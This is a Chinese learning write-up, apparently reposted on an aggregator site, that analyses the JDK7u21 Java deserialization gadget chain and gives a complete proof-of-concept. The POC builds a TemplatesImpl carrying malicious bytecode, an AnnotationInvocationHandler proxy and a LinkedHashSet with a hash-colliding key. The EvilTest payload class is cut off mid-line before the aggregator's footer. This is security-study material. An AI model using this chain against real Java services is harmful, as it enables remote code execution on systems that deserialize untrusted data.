[Java反序列化]JDK7u21反序列化链学习

Posted bfengj

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[Java反序列化]JDK7u21反序列化链学习相关的知识,希望对你有一定的参考价值。

前言

开始学习JDK7u21的原生链,和CC链的逻辑比起来难了不少呜呜。

版本

JDK7u21及其之前都可以。当然这个之前是广义的,因为比如JDK7在更新,不代表JDK6就没有在更新。所以相对来说的可以认为是,JDK7u21这个版本以及之前时间发布的所有Java版本都有问题,之后的JDK6可能在某一段时间仍有问题,具体也不考究了。

    <properties>
        <maven.compiler.source>7</maven.compiler.source>
        <maven.compiler.target>7</maven.compiler.target>
    </properties>

    <dependencies>
        <dependency>
            <groupId>org.javassist</groupId>
            <artifactId>javassist</artifactId>
            <version>3.20.0-GA</version>
        </dependency>
    </dependencies>

下面用到javassist就是为了方便生成恶意类的字节码,而且版本要低一些,高版本不兼容jdk7,只能用jdk8及其更高版本。

分析

简单的理清一下这个链子的思路。

7u21这条链核心就在于AnnotationInvocationHandler这个类。联想到CC1的时候第一次接触它,这个类有两种利用思路,一种是利用它的readObject(),另一种就是利用它的invoke,因为AnnotationInvocationHandler是一个实现了InvocationHandler接口的类,可以应用于动态代理中。

invoke方法中,如果传入的方法名是equals而且方法的参数列表只有一个Object对象的时候,就可以进入equalsImpl()方法。

    public Object invoke(Object var1, Method var2, Object[] var3) {
        String var4 = var2.getName();
        Class[] var5 = var2.getParameterTypes();
        if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
            return this.equalsImpl(var3[0]);

再跟进这个equalsImpl()方法:

    private Boolean equalsImpl(Object var1) {
        if (var1 == this) {
            return true;
        } else if (!this.type.isInstance(var1)) {
            return false;
        } else {
            Method[] var2 = this.getMemberMethods();
            int var3 = var2.length;

            for(int var4 = 0; var4 < var3; ++var4) {
                Method var5 = var2[var4];
                String var6 = var5.getName();
                Object var7 = this.memberValues.get(var6);
                Object var8 = null;
                AnnotationInvocationHandler var9 = this.asOneOfUs(var1);
                if (var9 != null) {
                    var8 = var9.memberValues.get(var6);
                } else {
                    try {
                        var8 = var5.invoke(var1);
                    } catch (InvocationTargetException var11) {
                        return false;
                    } catch (IllegalAccessException var12) {
                        throw new AssertionError(var12);
                    }
                }

                if (!memberValueEquals(var7, var8)) {
                    return false;
                }
            }

            return true;
        }
    }

前两个if不用管,直接看else。通过getMemberMethods得到一个Method[]

    private Method[] getMemberMethods() {
        if (this.memberMethods == null) {
            this.memberMethods = (Method[])AccessController.doPrivileged(new PrivilegedAction<Method[]>() {
                public Method[] run() {
                    Method[] var1 = AnnotationInvocationHandler.this.type.getDeclaredMethods();
                    AccessibleObject.setAccessible(var1, true);
                    return var1;
                }
            });
        }

        return this.memberMethods;

然后进入for循环,遍历这个Method[],然后调用方法:

                if (var9 != null) {
                    var8 = var9.memberValues.get(var6);

这里的Method[]只能是通过this.type来得到:

AnnotationInvocationHandler.this.type.getDeclaredMethods();

因为memberMethods属性是个瞬态属性不可控。

private transient volatile Method[] memberMethods = null;

因此总的来说可以利用的就是,得到this.type的所有Method[],然后依次调用所有。如果让this.typeTemplatesImpl的类的话,就自然会调用到newTransformer或者getOutputProperties

invoke的那个参数var1也就是调用方法的对象了,所以var1需要是我们构造的恶意的TemplatesImpl对象。

至此后面的部分就稍微有点理清了,但是关键是,哪里有合适的equals可以触发。

所以就要说到发明这个链子的师傅确实很强,联想到set这个数据结构:

Set实际上相当于只存储key、不存储value的Map。我们经常用Set用于去除重复元素。

因为对象不重复,因此就会涉及到比较。equals是用来比较两个对象的内容是否相同。

最常用的Set实现类是HashSet,实际上,HashSet仅仅是对HashMap的一个简单封装。

看一下HashSetreadObject()方法:

    private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        // Read in any hidden serialization magic
        s.defaultReadObject();

        // Read in HashMap capacity and load factor and create backing HashMap
        int capacity = s.readInt();
        float loadFactor = s.readFloat();
        map = (((HashSet)this) instanceof LinkedHashSet ?
               new LinkedHashMap<E,Object>(capacity, loadFactor) :
               new HashMap<E,Object>(capacity, loadFactor));

        // Read in size
        int size = s.readInt();

        // Read in all elements in the proper order.
        for (int i=0; i<size; i++) {
            E e = (E) s.readObject();
            map.put(e, PRESENT);
        }
    }

map也是瞬态属性。这里得到的很明显是HashMap,然后依次从s.readObject()里面读取key,然后调用map.put方法放进去,因为也说了,HashSet的底层实现还是HashMap

跟进put方法:

    public V put(K key, V value) {
        if (key == null)
            return putForNullKey(value);
        int hash = hash(key);
        int i = indexFor(hash, table.length);
        for (Entry<K,V> e = table[i]; e != null; e = e.next) {
            Object k;
            if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {

可以发现对放入的key计算hash值,如果当前的map中有hash值相同的key,就会key.equals(k),如果让k是代理对象,k是我们的恶意TemplatesImpl的话,就可以和上面的分析接上了,成功命令执行。

我个人觉得7u21这个链子最精华的地方,一个就是找equals,另一个就是这个hash值的构造。

这两行代码可以简化成下面:

        int hash = hash(key);
        int i = indexFor(hash, table.length);


        int h = 0;
        h ^= k.hashCode();
        h ^= (h >>> 20) ^ (h >>> 12);
        h ^ (h >>> 7) ^ (h >>> 4);

        h & 15;

之所以最后的return h & (length-1);h&15,是因为HashMap的默认length是16:

static final int DEFAULT_INITIAL_CAPACITY = 16;

从整个流程来看,想控制hash的话,就是要让代理对象的hashCode()TemplatesImpl对象的hashCode()相同。但是TemplatesImplhashCode()是个Native()方法,每次运行都会改变,所以不可控。

再想想代理对象的hashCode()。很明显也得经过invoke,进入hashCodeImpl

            } else if (var4.equals("hashCode")) {
                return this.hashCodeImpl();
    private int hashCodeImpl() {
        int var1 = 0;

        Entry var3;
        for(Iterator var2 = this.memberValues.entrySet().iterator(); var2.hasNext(); var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())) {
            var3 = (Entry)var2.next();
        }

        return var1;
    }

简单来说就是遍历this.memberValues这个Map,把每次计算出来的127*(key的hash)^(value的hash)

就很膜作者的思路,他想到让memberValues这个Map只有一个键值对,让key的hash为0,这样127*0=0,然后0^xxx仍然是xxx(相同为0,不同为1)。再让value是恶意的TemplatesImpl对象,这样计算的就是那个TemplatesImpl对象的hash值,自然就相同了。tttttql。

至于hash为0的键,找到的是f5a5a608

构造

稍微理清了整个链子的思路,就去构造即可。

首先是雷打不动的TemplatesImpl对象的设置:

        byte[] evilCode = SerializeUtil.getEvilCode();
        TemplatesImpl templates = new TemplatesImpl();
        SerializeUtil.setFieldValue(templates,"_bytecodes",new byte[][]{evilCode});
        SerializeUtil.setFieldValue(templates,"_name","feng");

然后去产生AnnotationInvocationHandler对象,注意它的构造器:

    AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
        this.type = var1;
        this.memberValues = var2;
    }

typeTemplates.classmemberValues就是要设置的那个巧妙的Map了:

        HashMap<String, Object> memberValues = new HashMap<String, Object>();
        memberValues.put("f5a5a608","feng");
        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor cons = clazz.getDeclaredConstructor(Class.class, Map.class);
        cons.setAccessible(true);
        InvocationHandler handler = (InvocationHandler)cons.newInstance(Templates.class, memberValues);

但是先暂时不把TemplatesImpl放进memberValues,接下来会说为什么。

然后就是动态代理的生成:

        Templates proxy = (Templates) Proxy.newProxyInstance(
                Templates.class.getClassLoader(),
                new Class[]{Templates.class},
                handler
        );

然后就是生成反序列化链的起点,那个HashSet对象了:

        HashSet hashSet = new LinkedHashSet();
        hashSet.add(templates);
        hashSet.add(proxy);
        memberValues.put("f5a5a608",templates);

这里再覆盖掉f5a5a608的value,就是为了防止这里的2次add直接触发了漏洞。

然后序列化和反序列化即可。总的POC:

package com.feng.jdk7u21;

import com.feng.util.SerializeUtil;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;

import javax.xml.transform.Templates;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.HashSet;
import java.util.LinkedHashSet;
import java.util.Map;

public class Jdk7u21 {
    public static void main(String[] args) throws Exception{
        byte[] evilCode = SerializeUtil.getEvilCode();
        TemplatesImpl templates = new TemplatesImpl();
        SerializeUtil.setFieldValue(templates,"_bytecodes",new byte[][]{evilCode});
        SerializeUtil.setFieldValue(templates,"_name","feng");

        HashMap<String, Object> memberValues = new HashMap<String, Object>();
        memberValues.put("f5a5a608","feng");
        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor cons = clazz.getDeclaredConstructor(Class.class, Map.class);
        cons.setAccessible(true);
        InvocationHandler handler = (InvocationHandler)cons.newInstance(Templates.class, memberValues);


        Templates proxy = (Templates) Proxy.newProxyInstance(
                Templates.class.getClassLoader(),
                new Class[]{Templates.class},
                handler
        );


        HashSet hashSet = new LinkedHashSet();
        hashSet.add(templates);
        hashSet.add(proxy);

        memberValues.put("f5a5a608",templates);
        byte[] bytes = SerializeUtil.serialize(hashSet);
        SerializeUtil.unserialize(bytes);
    }
}

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class EvilTest extends AbstractTranslet {

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
    public EvilTest() throws Exception{
        Runtime.以上是关于[Java反序列化]JDK7u21反序列化链学习的主要内容,如果未能解决你的问题,请参考以下文章

[Java反序列化]JDK7U21原生反序列化利用链分析

[Java反序列化]JDK7U21原生反序列化利用链分析

JRE8u20反序列化漏洞分析

12-java安全——java反序列化CC7链分析

12-java安全——java反序列化CC7链分析

12-java安全——java反序列化CC7链分析